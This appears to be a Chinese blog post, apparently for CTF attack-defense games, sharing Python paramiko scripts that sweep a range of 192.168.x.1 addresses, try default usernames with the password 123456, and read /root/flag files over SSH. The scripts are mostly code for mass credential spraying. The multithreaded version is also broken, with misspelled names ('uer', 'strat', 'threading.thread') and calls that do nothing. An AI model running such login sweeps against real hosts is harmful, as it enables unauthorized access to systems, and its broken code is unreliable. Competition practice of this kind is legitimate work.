Python-SSH批量登陆并执行命令

#!/usr/bin/env python

#-*- coding:utf-8 -*-

import paramiko

from time import ctime

usernm = ["admin","guest","root"]

passwd = "123456"

def ssh():

    for i in range(1,254):

        for user in usernm:

            try:

                host = "192.168.%s.1"%i

                s=paramiko.SSHClient()

                #创建ssh对象

                s.load_system_host_keys()

                s.set_missing_host_key_policy(paramiko.AutoAddPolicy())

                #自动加载主机密钥 yes\no

                s.connect(hostname=host,username=user,password=passwd)

                stdin,stdout,stderr = s.exec_command('cat /root/flagvalue.txt')

                print "192.168.%s.1  USER:[%s]  Time:[%s]"%(i,user,ctime())

                dd = stdout.read()

                print dd

                stdin,stdout,stderr = s.exec_command('exit')

                s.close

                if dd != None:

                    dd = None

                    break

           except:

               pass

print ssh()

跨网段批量登陆时速度明显会变慢

下面时运行结果图：

多线程版本

#!/usr/bin/env python

#-*- coding:utf-8 -*-

import paramiko

import threading

from time import ctime,sleep

def ssh():

    usernm = ["admin","guest","root"]

    ip = "192.168.%s.1"%i

    for user in usernm:

                try:

                    s=paramiko.SSHClient()

                    s.load_system_host_keys()

                    s.set_missing_host_key_policy(paramiko.AutoAddPolicy())

                    s.connect(hostname=ip,username=user,password='123456')

                    stdin,stdout,stderr = s.exec_command('cat /root/flag*')

                    print "192.168.%s.1  USER:[%s]  Time:[%s]"%(i,uer,ctime())

                    dd = stdout.read()

                    print dd

                    stdin,stdout,stderr = s.exec_command('exit')

                    s.close

                    if dd != None:

                       dd = None

                       break

                except:

                    pass

for i in range(100,200):

        a=threading.thread(target=ssh,arg=())

        sleep(0.1)

        a.strat()

运行效果：

巴特西

Python-SSH批量登陆并执行命令

Python-SSH批量登陆并执行命令

多线程版本

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